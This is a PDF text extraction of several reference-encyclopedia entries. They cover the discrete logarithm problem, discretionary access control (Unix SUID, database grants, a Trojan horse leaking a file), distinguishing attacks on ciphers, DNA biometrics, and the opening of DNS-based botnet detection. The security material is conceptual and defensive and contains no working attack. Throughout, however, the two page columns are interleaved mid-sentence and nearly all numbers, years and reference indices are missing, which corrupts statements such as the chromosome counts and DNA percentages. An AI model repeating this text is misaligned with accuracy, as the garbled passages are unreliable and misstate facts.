Generic Algorithms Against DLP for the methods used. the users behalf, is allowed to specify explicitly the types of
access other users (or programs executing on their behalf)
Open Problems may have to information under the users control.
The main unsettled question is the complexity of the dis- In practice, the term DAC was primarily used to con-
crete logarithm problem for any particular group. A subex- trast with mandatory access control (MAC). In MAC sys-
ponential algorithm for discrete logarithms on general tems, policy administrators implement organization-wide
elliptic curves, or a proof that none exists, would have great security policies that cannot be changed by normal users.
significance in cryptography, as would improved subexpo- In DAC systems, normal users can change the policies.
nential, or even polynomial-time algorithms for discrete Often times, DAC systems have the notion of owners. Each
logarithms in finite fields or class groups of quadratic fields. object has an owner, and the owner can decide which other
principals can access the object.
Recommended Reading
. McCurley KS () The discrete logarithm problem. In: Cryp-
Background
tology and Computational Number Theory, pp. , AMS, Access control for computer systems was developed when
Providence time-sharing computer systems began to appear in the
D Discretionary Access Control
s. Early access control systems were not explicitly Motivated by the HRU undecidability result, many
identified as discretionary, though they often have the researchers proposed new abstract models of access con-
notion of owners and can be called discretionary. Possi- trol such that for all schemes in the model, safety analysis
bly, the first abstract access control scheme that can be is decidable. The most well-known one is the take-grant
clearly called discretionary is by Graham and Denning []. model by Jones et al. [, ]. Li and Tripunitara [] argued
The scheme relies heavily on the notion of owners, and that DAC should not be equated with the HRU model,
is based on the access matrix model, which is commonly and that safety analysis for the discretionary access control
attributed to Lampson []. Subsequently, Griffiths and schemes due to Graham and Denning [] is decidable in
Wade [] proposed a DAC scheme for relational database polynomial time.
systems, which formed the foundation of the access con-
trol scheme in SQL standard. Today, DAC is widely used
in operating systems, database management systems, and
Applications
Discretionary access control is used in todays major oper-
other information systems.
ating systems and database management systems, among
It has been recognized early on that discretionary
other things. Three basic concepts in an access control
access control is vulnerable to trojan horse attacks. A trojan
systems are principals, subjects, and objects. Principals
horse, or simply a trojan, is a piece of malicious software
are the unit of authorization and accountability, that is,
that purports to be a benign and useful program, but per-
permissions are granted to principals. Subjects are the
forms malicious actions. To counter the threat of trojans,
active entities that issue requests for accessing resources;
people introduce mandatory access control such as the
they act on behalf of one or more principals at any given
multilevel security model due to Bell and La Padula [] to
time. Objects are the resources that need protection.
achieve confidentiality protection even when trojans exist.
The influential Orange Book includes both discretionary
access control and mandatory access control as part of the UNIX DAC
evaluation criteria for the security of computer systems. Perhaps, the best known DAC system is the one in the
Downs et al. [] discussed salient aspects of DAC, and their Unix family of operating systems (including Linux, Solaris,
work was subsequently subsumed by the NCSCs guide to OpenBSD, and others). In this system, principals are user
DAC []. accounts, each uniquely identified by an integer user id.
The user id is special, and is often known as the root
user or the super user. A user can be a member of several
Theory groups; and each group contains a set of users as its mem-
Some authors equate DAC with access control using access bers. Subjects are processes, and objects are files, which
matrices. An access matrix has one row for each subject, model many protected resources. There are some privi-
and one column for each object, and each cell contains the leges, known as system privileges, that are not associated
rights the corresponding subject has over the correspond- with any file, and are typically only given to the root user.
ing object. Equating DAC with access matrix is inaccurate. In the descriptions below, subjects and processes are used
As an access matrix is an abstract representation of the interchangeably, and objects and files interchangeably.
access control policy state at a given point of the system, it Mao et al. [] divide the UNIX DAC system into
can be used for DAC or MAC. A well-known theoretical two components: the specification component and the
result in access control is by Harrison et al. [], who enforcement component. The specification component
proved that determining whether an arbitrary access con- determines which users are allowed to access what objects.
trol system in their access matrix-based model (henceforth Each object has an owner (which is a user) and an associ-
referred to as the HRU model) could reach an unsafe state ated group. In addition, each object has permission bits,
(a right exists where it should not) is undecidable. This which include bits for determining whether the owner,
result is due to the fact that the HRU model can be used the users in the associated group, and other users, can
to simulate Turing machines. Access matrices can be used read/write/execute the file, and three other bits: the SUID
as the memory of a computing device, and the commands (set user id) bit, the SGID (set group id) bit, and the sticky
in the HRU model are the computing instructions; hence bit. Only the SUID bit is relevant for the discussions below.
the HRU model gives a general-purpose computing mech- The owner of a file and the root user can update these
anism. Note that this result does not rule out that safety permission bits, which is the discretionary feature. In most
analysis could be (efficiently) decidable for some specific modern UNIX-based systems, only the root can change the
access control schemes in the HRU model. owner of a file.
Discretionary Access Control D
The specification component specifies which users are user. However, the reality is that when one users process
authorized, whereas the actual requests are generated by executes a program controlled by another user (possibly
subjects (processes) and not users. The enforcement com- a trojan planted by an attacker), both the invoker and the
ponent fills in this gap; it determines which users permis- controllers of the program content may affect the requests
sions should be used for a process. Each process has an made by the process. That is, the master of the process is
effective user id (euid), which determines the access privi- a set containing both the invoker and the controllers. The
leges of the process. The first process in the system has euid process is guaranteed to act on behalf of the invoker only
(root). When a new child process is created, it inherits when the program is benign. Similarly, after reading data,
the parent processs euid. When a user logs in, the pro- the process continues acting on behalf of the old master
cesss euid is set to the id corresponding to the user. When only when the program is correct; otherwise the (poten-
D
a process loads a binary through the execve system call, tially maliciously formed) data could be used to exploit the
the new euid is unchanged except when the binary file program. If the program is not assumed to be correct, the
has the SUID bit set, in which case the new euid is the controllers of the input data must be added to the set of
owner of the file. The SUID bit is needed for two reasons. masters. With a set of masters, the privileges associated the
First, the granularity of access control using files is not process should be the intersection of the privileges of each
fined-grained enough. For example, the password infor- individual master.
mation of all the users is stored in the file /etc/shadow. Mao et al. [] asserted that assuming that a single
A user should be allowed to change her password; how- principal is responsible for any request is the fundamen-
ever, one cannot allow normal users to write the shadow tal limitation of existing DAC enforcement mechanisms,
file, as they can then change the passwords of other users and proposed the information flow enhanced discre-
as well. To solve this problem, the system has a special util- tionary access control (IFEDAC), which maintains multi-
ity program (passwd) through which a user can change her ple principals for any process.
password. The program is owned by the root user and has
its SUID bit set. When a user runs the passwd program, the DBMS DAC
new process has euid root and can change /etc/shadow to Most database management systems (DBMS) use DAC
update the users password. Note that this process (initiated together with role-based access control []. In DBMS,
by a user) can perform anything the root user is autho- principals are database user accounts, subjects are queries
rized to do. By setting the SUID bit on the passwd program, or stored procedures in execution, and objects include
the system administrator (i.e., the root user) trusts that the tables, columns, views, etc.
program performs only the legitimate operations. That is, In DBMS, there are two classes of privileges: system
it will authenticate a user and change only that users pass- privileges and object privileges. System privileges
word in /etc/shadow. Any program with SUID bit set must govern the authorization of creating/dropping users, cre-
therefore be carefully written so that they do not contain ating/dropping tables, etc. An object privilege identifies an
vulnerabilities to be exploited. Second, nonroot users often object, such as a table or a view, and an access mode, which
need to use the nonfile privileges. For example, a user may is one of the following: select, insert, update, and delete.
need to mount a CD, which requires a nonfile privilege that Roles can be used as an indirection between users and priv-
is available only to the root user. This requires the mount ileges. Each object has an owner. The owner of the object
utility program to be owned by root and has the SUID can grant privileges regarding the object to another user,
bit set. or to a role. When an object privilege is granted to a user, it
In short, the specification component specifies which may be granted with grant option, in which case the user
users can access what resources and the enforcement com- can further grant the privilege to other users. The grantor
ponent tries to determine on which users behalf a process may later revoke this grant. Revocation in this case can
is executing. Note that the UNIX DAC system implic- be tricky because of the cascading effect. If after a user
itly assumes that a single principal is responsible for any grants an object privilege to other users, the privilege is
request, whereas in reality a request may be influenced by revoked from the user, then these other grants also need to
multiple principals; thus, it cannot correctly identify the be revoked, because the source of the grant power does not
true origin(s) of a request and fall prey to trojans. In DAC, exist anymore. When a system privilege or a role is granted
when one users process executes a program, the princi- to a user, it may be granted with admin option; this enables
pal remains to be the user, unless the programs SUID bit the user to grant that system privilege or role (with or with-
is set. As a result, a trojan executed by a user will carry out the admin option) to another user or role. He may also
the users identity and has all privileges associated with the revoke the system privilege or role from any other user or
D Discretionary Access Control Policies (DAC)
role other than himself. Furthermore, if the admin option . Harrison MA, Ruzzo WL, Ullman JD () Protection in oper-
is to a role, then he can remove (drop) the role entirely. ating systems. Commun ACM ():
. Jones AK, Lipton RJ, Snyder L () A linear time algorithm for
A feature similar to the SUID bit also occurs in DBMSs
deciding security. In: th annual IEEE symposium on founda-
that support sophisticated stored procedures. For example, tions of computer science (FOCS), Houston, pp , October
in Oracle DBMS since Oracle i, a stored procedure may be
defined to use definer rights, or invoker rights. When a . Li N, Tripunitara MV () On safety in discretionary access
definer-rights stored procedure is invoked, the privileges of control. In: Proceedings of the IEEE symposium on
security and privacy, Oakland, May
the owner of the code are used. This is similar to setting the
. Mao Z, Li N, Chen H, Jian X () Trojan horse resistant discre-
SUID bit in UNIX DAC. When an invoker-rights stored tionary access control. In: Proceedings of the ACM symposium
procedure is invoked, the privileges of the calling user are on access control models and technologies (SACMAT), Stresa,
used. Italy, pp
. Sandhu RS, Coyne EJ, Feinstein HL, Youman CE () Role-
based access control models. IEEE Comp ():
Open Problems and Future Directions . Lipton RJ, Snyder L () A linear time algorithm for deciding
subject security. J ACM ():
Many of todays computer security attacks are social engi-
neering attacks that exploit arguably the weakest link in
computer security, the link between humans and comput-
ers. For examples, many major botnets spread by email
attachments, trojan programs, etc. In any DAC systems, Discretionary Access Control
users need to be involved to make security-critical deci- Policies (DAC)
sions. At the same time, the vast majority of end users
are not equipped to make such decisions. Unfortunately, Sabrina De Capitani di Vimercati
it is impossible to completely avoid the need of user deci- Dipartimento di Tecnologie dellInformazione (DTI),
sions. For example, when a device driver is downloaded Universit degli Studi di Milano, Crema (CR), Italy
and installed, does the user really intend to install this, or
this is result of an attack? Often times, only the user knows Synonyms
the answer. A more secure DAC should reduce the num-
DAC
ber of decisions users have to make, provide users with
useful and relevant information for helping users to make Related Concepts
such decisions, and educate users how to make correct Access Control Policies, Models, and Mechanisms;
decisions. Administrative Policies; Authorizations

. DOD () Trusted computer system evaluation criteria. Discretionary access control policies (DAC) enforce access
Department of Defense .-STD, Washington control on the basis of the identity of the requestors and
. NCSC () National computer security center: a guide to explicit access rules (authorizations) that establish who
understanding discretionary access control in trusted systems, can, or cannot, execute which actions on which resources.
September . NCSC-TG-
. Downs DD, Rub JR, Kung KC, Jordan CS () Issues in dis-
cretionary access control. In: Proceedings of IEEE symposium
Background
on research in security and privacy, IEEE Computer Society, Governments, commercial businesses, and individuals are
Oakland, April , pp all storing information in electronic form. This medium
. Scott Graham G, Denning PJ () Protection principles and provides a number of advantages over previous physical
practice. In: Proceedings of the AFIPS spring joint computer
storage: storage is more compact, transfer is almost instan-
conference, AFIPS Press, vol , pp , May
. Lampson BW () Protection. In: Proceedings of the th
taneous, and accessing via databases is simpler. The abil-
Princeton conference on information sciences and systems. ity to use information more efficiently has resulted in a
Reprinted in ACM Oper Syst Rev ():, rapid increase in the value of information. As technology
. Griffiths PP, Wade BW () An authorization mechanism for advances and information management systems become
a relational database system. ACM Trans Database Syst ():
more and more powerful, the problem of enforcing infor-

. Elliott Bell D, LaPadula LJ () Secure computer systems:
mation security also becomes more critical. A fundamental
unified exposition and Multics interpretation. Technical report component in enforcing protection is represented by the
ESD-TR--, Mitre Corporation access control service whose task is to control every access
Discretionary Access Control Policies (DAC) D
to a system and its resources, thus guaranteeing that all of separating users from subjects. Users are passive enti-
and only authorized accesses can be executed. The devel- ties for whom authorizations can be specified and who
opment of an access control system requires the definition can connect to the system. Once connected to the system,
of the regulations (policies) according to which access is to users originate processes (subjects) that execute on their
be controlled and their implementation as functions exe- behalf and, accordingly, submit requests to the system.
cutable by a computer system. Among the different kinds Discretionary policies ignore this distinction and evalu-
of access control policies, the discretionary access control ate all requests submitted by a process running on behalf
policies are one of the most important and largely used of some user against the authorizations of the user. This
category []. aspect makes discretionary policies vulnerable from pro-
cesses executing malicious programs exploiting the autho-
D
Theory and Application rizations of the user on behalf of whom they are exe-
The Trusted Computer System Evaluation Criteria (TCSEC) cuting. In particular, the access control system can be
defines discretionary access control as bypassed by Trojan Horses embedded in programs. A Tro-
jan Horse is a computer program with an apparently or
A means of restricting access to objects based on the iden- actually useful function, which contains additional hidden
tity of subjects and/or groups to which they belong. The functions that surreptitiously exploit the legitimate autho-
controls are discretionary in the sense that a subject with rizations of the invoking process (e.g., viruses and logic
a certain access permission is capable of passing that per- bombs are usually transmitted as Trojan Horses). A Tro-
mission (perhaps indirectly) on to any other subject (unless jan Horse can improperly use any authorizations of the
restrained by mandatory access control) invoking user, for example, it could even delete all files of
the user (this destructive behavior is not uncommon in
Discretionary access controls are therefore based on the case of viruses). This vulnerability to Trojan Horses,
authorizations that state who can exercise given accesses. together with the fact that discretionary policies do not
They are called discretionary as users can be given the enforce any control on the flow of information once this
ability of passing on their privileges to other users, where information is acquired by a process, makes it possible for
granting and revocation of privileges is regulated by an processes to leak information to users not allowed to read
administrative policy. In addition to DAC policies based it. All this can happen without the cognizance of the data
on positive authorizations, DAC policies based on negative administrator/owner, and despite the fact that each single
authorizations can also be used. A negative authorization access request is controlled against the authorizations. To
states who cannot exercise given accesses. understand how a Trojan Horse can leak information to
Traditionally, positive and negative authorizations unauthorized users despite the discretionary access con-
have been used in mutual exclusion corresponding to trol, consider the following example. Assume that within
classical closed and open policy, respectively. Closed pol- an organization, Vicky, a top-level manager, creates a file
icy means that authorizations specify permissions for an Market containing important information about releases
access. The closed policy allows an access if there exists a of new products. This information is very sensitive for the
positive authorization for it, and denies it otherwise. Open organization and, according to the organizations policy,
policy means that (negative) authorizations specify denials should not be disclosed to anybody besides Vicky. Con-
for an access. The open policy denies an access if there sider now John, one of Vickys subordinates, who wants to
exists a negative authorization for it, and allows it other- acquire this sensitive information to sell it to a competitor
wise. The open policy has usually found application only in organization. To achieve this, John creates a file, lets call
those scenarios where the need for protection is not strong it Stolen, and gives Vicky the authorization to write the
and by default access is to be granted. Most systems adopt file. Note that Vicky may not even know about the exis-
the closed policy, which, denying access by default, ensures tence of Stolen, or about the fact that she has the write
better protection. authorization on it. Moreover, John modifies an applica-
tion generally used by Vicky, to include two hidden opera-
Vulnerabilities of the Discretionary Policies tions, a read operation on file Market and a write operation
Discretionary access control policies restrict access to on file Stolen. Then, he gives the new application to his
objects based only on the identity of users who are request- manager. Suppose now that Vicky executes the application.
ing access. Although it is true that each request is origi- Since the application executes on behalf of Vicky, every
nated because of some users actions, a more precise exam- access is checked against Vickys authorizations, and the
ination of the access control problem shows the utility read and write operations above are allowed. As a result,
D Distinguishing Attacks
during execution, sensitive information in Market is trans- the distinguisher is able to tell them apart with a signifi-
ferred to Stolen and thus made readable to the dishonest cant advantage, then it leads to a distinguishing attack. This
employee John, who can then sell it to the competitor. is a very general setting that can apply to any cryptosystem
The reader may object that there is little point in but is more or less relevant to assess its security.
defending against Trojan Horses leaking information flow:
such an information flow could have happened anyway, by Applications
having Vicky explicitly tell this information to John, possi- Ciphertext indistinguishability: At the basis of all ciphers
bly even off-line, without the use of the computer system. are some deterministic functions (otherwise it would be
Here is where the distinction between users and subjects difficult to decipher) which takes as a parameter a key and
operating on their behalf comes in. While users are trusted as an input a message. A plain application of the deter-
to obey the access restrictions, subjects operating on their ministic functions on the key and the message leads to
behalf are not. With reference to the previous example, an elementary distinguishing attack as all the messages
Vicky is trusted not to release the sensitive information having the same value are encrypted to the same cipher-
she knows to John, since, according to the authorizations, text under the same key. This is why all cipher schemes
John cannot read it. However, the processes operating on include a randomization element. This can be thought as
behalf of Vicky cannot be given the same trust. Processes the IV of a block cipher mode of operation or the random
run programs which, unless properly certified, cannot be value in RSA-OAEP, etc. Indistinguishability under chosen
trusted for the operations they execute. For this reason, plaintext attack is also known as semantic security [].
restrictions should be enforced on the operations that pro-
cesses themselves can execute. In particular, protection Stream ciphers: A distinguishing attack on a stream cipher
against Trojan Horses leaking information to unauthorized usually refers to an attack whose goal is to distinguish
users requires controlling the flows of information within the keystream from a truly random sequence []. If the
processes execution and possibly restricting them. attacker has a significant advantage when intercepting a
ciphertext, it is possible for him to verify if it corresponds
Recommended Reading to a given plaintext or not. When xoring the ciphertext and
. Samarati P, De Capitani di Vimercati S () Access control: poli- the corresponding plaintext, he recovers the keystream
cies, models, and mechanisms. In: Focardi R, Gorrieri R (eds) while xoring the ciphertext, and any other plaintext should
Foundations of security analysis and design. Lecture Notes in give a sequence closer to true randomness.
Computer Science, vol . Springer, Berlin
Block ciphers: A distinguishing attack on an iterated block
cipher usually refers to a last-round attack. If the cipher
is composed of r rounds, the idea is to find a property
Distinguishing Attacks of the family of permutations composed of all but last
round (indexed by the subkeys) of the block cipher which
deviates from a random permutation. If the attacker has
Marion Videau
a significant advantage, he can make a statistical test on a
Universit Henri Poincar, Nancy /LORIA and ANSSI,
set of plaintexts-ciphertexts and decide whether the result
Paris, France
of the ciphertexts deciphered with one round of the block
cipher indexed with a last-round subkey corresponds to
Related Concepts the output of a permutation composed of (r ) rounds or
Statistical Testing; Stream Cipher of (r + ) rounds, the latter being closer to a random per-
mutation. Then he is able to recover information about the
Denition last-round subkey (e.g., its value, or some key bits, or a list
Generally speaking, a distinguishing attack is a testing algo- of possible keys, etc.). The most famous examples of last-
rithm that tries to exhibit a nonrandom behavior in a round attacks are differential cryptanalysis [] and linear
cryptosystem. This nonrandom behavior can provide some cryptanalysis [].
information to the attacker.
Recommended Reading
Theory
. Goldwasser S, Micali S () Probabilistic encryption. J Comput
A distinguisher is a testing algorithm that is connected to Syst Sci :
either a perfect random procedure R or to the cryptosys- . Rose G, Hawkes P () On the applicability of distinguish-
tem (or a part of it) C which is supposed to mimic R. If ing attacks against stream ciphers. In: Proceedings of the rd
DNA D
NESSIE Workshop , Munich. Cryptology ePrint Archive, DNA sequencing: Determining the exact order of the base
Report / pairs in a segment of DNA.
. Biham E, Shamir A () Differential cryptanalysis of the data
encryption standard. Springer, London
. Matsui M () Linear cryptanalysis method for DES cipher.
Gene: The functional and physical unit of heredity passed
In: Advances in cryptology Eurocrypt (Lecture notes in from parent to offspring. Genes are pieces of DNA, and
computer science ) Springer, Berlin, pp most genes contain the information for making a specific
protein.
Genome: All the DNA contained in an organism or a cell,

D
DLP which includes both the chromosomes within the nucleus
and the DNA in mitochondria.
Discrete Logarithm Problem
mtDNA: Mitochondrial DNA. The genetic material of the
mitochondria, the organelles that generate energy for the
cell.
DNA
Nucleotide: One of the structural components, or building
blocks, of DNA and RNA (ribonucleic acid). A nucleotide
Svetlana N. Yanushkevich , Denis V. Popel
Department of Electrical and Computer Engineering, consists of a base (one of four chemicals: adenine, thymine,
Schulich School of Enginering, University of Calgary, guanine, and cytosine) plus a molecule of sugar and one of
Calgary, Alberta, Canada phosphoric acid.
Algorithms Research Corporation, Charlottesville, VA,

USA Protein: A large complex molecule made up of one or
more chains of amino acids. Proteins perform a wide vari-
ety of activities in the cell.
Synonyms
Chromosome; Gene; Genetic code; Heredity; Nucleic acid Background
Each individual inherits his/her genomic DNA from
Denitional Entries both parents, thereby producing a composite of DNA
Amino acids: A group of different kinds of small sequences that are unique to that individual (except in
molecules that link together in long chains to form pro- the case of identical twins). DNA composition of cells
teins. They are often referred to as the building blocks" of within an individual remains constant throughout ones
proteins. lifetime.
DNA is considered to be a special type of biometric
having so-called digital signature properties. The following
Cell: The basic unit of any living organism. It is a small,
characteristics make DNA a special biometric type:
watery, compartment filled with chemicals and a complete
copy of the organisms genome. An actual physical sample of DNA should be larger
than samples from any other biometric type in order
Chromosome: One of the threadlike packages" of genes to draw meaningful conclusions.
and other DNA in the nucleus of a cell. Different kinds Semi-automated sequencing, sampling, and decision-
of organisms have different numbers of chromosomes. making techniques are necessary to perform DNA
Humans have pairs of chromosomes, in all: auto- matching.
somes and sex chromosomes. Each parent contributes Actual DNA sequences should be used without any
one chromosome to each pair, so children get half of feature extraction, scaling, or prototyping in order to
their chromosomes from their mothers and half from their compare sequences.
fathers. Processing should take advantage of digital nature
of DNA information, which is suitable for digital
computations.
DNA: Deoxyribonucleic acid. The chemical inside the
nucleus of a cell that carries the genetic instructions for The current process of using DNA to verify identity
making living organisms. or to determine identity of an unknown person is a
D DNA
time-consuming process. Biological samples must be pro-

C C G ... C A
cessed in multiple stages in a laboratory setting in order >1
to extract DNA for testing purposes. DNA samples must
be available in sufficient quantities, and actual analy- A T C ... C T
>2
sis can take to days. Therefore, the inability to
test the DNA on a real-time basis remains the main A C T ... A A
limitation of DNAs biometric applications. Because of >3
these reasons and the advanced technology required,
it is not the most cost-efficient biometric solution, but DNA. Fig. Multiple DNA sequences
when a positive identification is needed, it is the most
reliable.
The units that govern the differences between liv- K P Q ... M W
>1
ing organisms are called genes. Genes contain infor-
mation in the form of a specific sequence of nucleotides
G Q P ... Y I
that are found in DNA molecules. Only four different >2
bases are used in DNA molecules: guanine, adenine,
thymine, and cytosine (G, A, T, and C). For example, Q P H ... E R
>3
the sequence ACGCT represents different information
than the sequence AGTCC or the sequence TCCAG even DNA. Fig. Multiple protein sequences
though they use the same letters. The characteristics of a
human being are the result of information contained in the
DNA code. Protein structures are described by sequences compromising the viability of the cell or the human being
containing amino acids: A, C, D, E, F, G, H, I, K, L, M, as a whole. Largely because of the variability in the com-
N, P, Q, R, S, T, V, W, and Y. position of noncoding DNA, one persons DNA sequence
DNA is a double-stranded molecule. While the infor- will differ from another persons.
mation content on each strand of a double-stranded DNA Proteins are large molecules composed of one or more
molecule is redundant, it is not exactly the same it is chains of amino acids in a specific order; the order is
complementary. For every G on the strand, a C is found determined by the base sequence of nucleotides in the
on its complementary strand and vice versa. Similarly, gene coding of the protein. Proteins are required for the
for every A on the strand, a T is found on its comple- structure, function, and regulation of the bodys cells,
mentary strand and vice versa. The chemical interaction tissues, and organs. Each protein has its own unique
between the two different kinds of base pairs is actu- functions.
ally so stable and energetically favorable that it alone is An example of the DNA sequence in the FASTA format
responsible for holding the two complementary strands is is given in Fig. .
together. A protein sequence in the FASTA format is given in
Within almost every cell in the human body there exist Fig. .
two types of DNA: (i) genomic DNA found in a mem-
brane sack called the nucleus, and (ii) mitochondrial DNA Theory and Applications
(mtDNA) found in multiple membrane-bound energy fac- Despite the enormous time and complexity characteris-
tories. Both forms of DNA offer information for human tics of DNA sequencing and matching, a genetic code is
identification and have been routinely used in forensic unique to each individual, making it an ideal biometric.
work and for developing DNA databases. Both types of Minor differences in each persons DNA sequences can be
DNA are present in almost every cell in the human body used as identification markers, and researchers are contin-
and, as a result of scientific advances made over the last ually developing additional markers to identify individual
years, a single hair or a licked stamp can be used for genetic sequences. Thus, a unified system for analysis is
identification. employed by forensic laboratories which utilize the same
A persons genomic DNA can be thought of as consist- regions of DNA (DNA loci) to assess a match between
ing of about , genes and many repetitive sequences DNA evidence and a suspect.
that represent seemingly nonessential or noncoding DNA. FBI and police labs around the USA have begun to use
The noncoding portion of the genome can withstand DNA fingerprints to link suspects to biological evidence
alterations in its composition over generations without found at the scene of a crime. Since , hundreds of cases
DNA D
have been decided with the assistance of DNA fingerprint Satellite DNA
evidence. Another important use of DNA fingerprints in Some parts of human DNA are made from subsequences,
the court system is to establish paternity in custody and called satellite DNA, repeated several times in a row. The
child-support litigation. Every organ or tissue of an indi- number of repetitions differs from person to person (see
vidual contains the same DNA fingerprint and they can the paper by Benson []). The chance that two humans have
be collected. The DNA method is superior to using dental the same number of repetitions at all areas of satellite DNA
records and blood types. is extremely small.
DNA Fingerprinting Enzymes D

Current DNA fingerprinting technology can perform per- The special purpose enzymes can cut DNA sequences at
defined positions. For example, the EcoR enzyme cuts
sonal identification with DNA recovered from a variety of
human tissues. DNA evidence can give numerous clues to DNA whenever it sees the letters GAATTC. So, DNA
crime investigation and can even be used to trace human sequences from different humans will contain different
distributions of cut positions, which allows one to make
migration patterns (some important results are reported
by Gill, Jeffreys, and Werrett [], and by Krawczak and decisions about persons identity [].
Schmidtke []). Current theories say that modern humans The basic steps of DNA profiling include:
evolved in Africa between , and , years ago, Isolate the DNA (sample can originate from saliva,
and originally consisted of a small group of , indi- blood, semen, hair, or tissue)
viduals as was discussed by Gibbons []. Then humans Section the DNA sample into shorter segments con-
dispersed out of Africa about , years ago, reach- taining the variable number tandem repeats (VNTRs)
ing Asia about , years ago and migrating into New which are identical repeat sequences of DNA
Guinea and Australia during the ice ages , years ago. Reorder the DNA segments by size
Indeed, DNA studies of mitochondrial DNA (mtDNA) Compare the DNA segments from various samples
proves close relationship between different ethnic groups
The more repeats of sequences the sample has, the
(extended experimental results are reported by Bohlmeyer
more precise the comparison is in identifying the individ-
et al. []).
ual based on the DNA from the sample, thus decreasing the
The cells that contain DNA share genetic material
likelihood of the sample matching multiple individuals.
(information) through chromosomes. Humans have
chromosomes that house a persons DNA and their genes.
Regulatory Sequence Analysis Tools
Of the total chromosomes, come from each par-
DNA biometrics is most often used for identification pur-
ent of an offspring; .% of an offsprings DNA is shared
poses as opposed to verification because the technique
with their parents. The remaining .% of an individuals
has yet to automate through technological advances. DNA
DNA is variable repetitive coding unique to an individual.
sequencing, the process of generating a DNA profile, is
This repetitive coding is the basis of DNA biometrics. DNA
compared to DNA samples previously acquired and cat-
recognition uses genetic profiling, also called genetic fin-
alogued in a database.
gerprinting, to isolate and identify these repetitive DNA
Despite the essential role played by noncoding
regions that are unique to each individual to either identify
sequences in transcriptional regulation, genome annota-
or verify a persons identity [].
tions usually focus on identifying the genes and predicting
The following techniques are used for DNA finger-
their function through sequence similarity searches. The
printing:
services offered by most genome centers are restricted to
the analysis of coding sequences.
Amplied Fragment Length The Web resource Regulatory Sequence Analysis
Polymorphism (AFLP) Tools (RSAT) (http://rsat.ulb.ac.be/rsat), developed by van
This novel technique introduced by Vos et al. [] is based Helden [], is dedicated to the analysis of the other
on the selective polymerase chain reaction (PCR) ampli- part of the genomes: the noncoding sequences. It offers
fication of restriction fragments from a total digest of a collection of software tools dedicated to the prediction
genomic DNA. The technique involves three steps: restric- of regulatory sites in noncoding DNA sequences. These
tion of the DNA and ligation of oligonucleotide adapters, tools include sequence retrieval, pattern discovery, pattern
selective amplification of sets of restriction fragments, and matching, genome-scale pattern matching, feature-map
gel analysis of the amplified fragments. drawing, random sequence generation, and other utilities.
D DNS-Based Botnet Detection
Alternative formats are supported for the representation taking tissue or fluid physically as opposed to other bio-
of regulatory motifs (strings or position-specific scoring metrics. That is why it is considered to be more intrusive,
matrices) and several algorithms are proposed for pattern breaching ones rights to privacy and medical informa-
discovery. tion. Understanding DNA testing requires a fundamental
knowledge of biology by the general public in order to
Public Databases assess the true impact on privacy issues of this type of
The following public DNA and protein repositories testing.
have been built throughout past decades to systematize
the knowledge about biological sequences in searchable Recommended Reading
databases: . Benson G () Tandem repeats finder: a program to analyze
DNA sequences. Nucl Acids Res :
CODIS System . Bohlmeyer J, Harp B, Heptig B, Kinkade K, Rayson C, Strohm J,
Wacker C, Fraga R, Popel D () Phylogenetic lineage of
This is the most common DNA database used by the humans and primates. In Proceedings Midwest Instruction and
Federal Bureau of Investigation []. Computing Symposium
. Butler JM () Fundamentals of forensic DNA typing. Elsevier
GenBank Academic Press, San Diego, CA
. Investigation: DNA Analysis Unit II. FBI Laboratory
GenBank is the National Institutes of Health (NIH, USA,
Report. Federal Bureau of Investigation. Quantico, VA:
http://www.ncbi.nlm.nih.gov/) database maintained and http://www.fbi.gov/hq/lab/labannual/labannual.htm
distributed by National Center for Biotechnology Informa- . Gibbons A () Calibrating the mitochondrial clock. Science
tion (NCBI) that stores all known public DNA sequences. :
. Gill P, Jeffreys A, Werrett D () Forensic application of DNA
fingerprints. Nature ():
EMBL . Jones N, Ougham H, Thomas T () Markers and
The European Molecular Biology Laboratory (EMBL) mapping: we are all geneticists now. New Phytol :
nucleotide sequence database constitutes Europes pri-
mary nucleotide sequence resource (http://www.ebi.ac.uk/ . Krawczak M, Schmidtke J () DNA fingerprinting. Bios Sci-
embl/) Main sources for DNA and RNA sequences are entific Publishers, Oxford
. Vallone PM, Kline MC, Duewer DL, Decker AE, Redman JW,
direct submissions from individual researchers, genome Travis JC, Smith MV, Butler JM () Development and usage
sequencing projects, and patent applications. of a NIST Standard Reference Materials for real-time PCR quan-
titation of human DNA. Forens Sci Int Genet Suppl Series (Progr
DDBJ Forens Genet ) ():
. van Helden J () Regulatory sequence analysis tools. Nucl
DNA Data Bank of Japan (DDBJ) functions as the interna-
Acids Res ():
tional nucleotide sequence database in collaboration with . Vos P, Hogers R, Bleeker M, Reijans M, van de Lee T,
EBI/EMBL and NCBI/GenBank (http://www.ddbj.nig.ac. Hornes M, Frijters A, Pot J, Peleman J, Kuiper M () AFLP:
jp/). a new technique for DNA fingerprinting. Nucl Acids Res :
The National Institute of Standards and Technology
(NIST) has recently started the project called standard ref-
erence materials for real-time PCR quantitation of human
DNA [].
Open Problems DNS-Based Botnet Detection

The Drawbacks of DNA Proling Brent Byung Hoon Kang, Myeong L. Lim
The drawbacks of the DNA fingerprinting technique are Department of Applied Information Technology and
the depth of the procedure, the physical invasiveness of Centre for Secure Information Systems, The Volgenau
obtaining the DNA sample, and the time required to per- School of Engineering, George Mason University, Fairfax,
form a DNA comparison. Besides, the contamination of VA, USA
the sample may make the comparison impossible.
Privacy Issues Related Concepts

Regardless of DNAs unique properties as an identifier, DNS-Based Botnet Detection; Frojan Horses,
there are many privacy concerns. DNA biometrics requires Computer Viruses, and Worms
DoS Pushback D
Denition Another technique was introduced to detect botnets

DNS-based botnet detection is a kind of botnet detec- which generate a set of blacklist (DNSBL) look up traf-
tion method which utilizes DNS-related network traffics fics using DNS infrastructure []. The insight for these
to determine whether the machines involved are infected detection heuristics was based on the observation that bot-
with a botnet or not. masters usually check these blacklists (DNSBL) to see if
their bots are in the list before they utilize these bots in an
attack.
Background
Botnet is one of the most serious threats on Internet,
as such, there have been many research efforts to detect Recommended Reading D
. Dagon D () Botnet detection and response, the network is
and mitigate them. Several mechanisms to detect bot-
the infection. In: OARC workshop
nets have been introduced based on monitoring the . Dagon D, Zou C, Lee W () Modeling botnet propagation
host-level and network-level behaviors of the botnet using time zones. In: Proceedings of th network and distributed
traffic. system security symposium (NDSS), Santa Clara
. Oberheide J, Karir M, Mao ZM () Characterizing dark DNS
behavior. In: Proceedings of th international conference on
Theory and Application detection of intrusions and malware, and vulnerability assess-
Since DNS query and response traffic is one of the major ment, Lucerne
. Ramachandran NFA, Dagon D () Revealing botnet mem-
elements in network behaviors, there have been a couple
bership using dnsbl counter-intelligence. In: Proceedings of nd
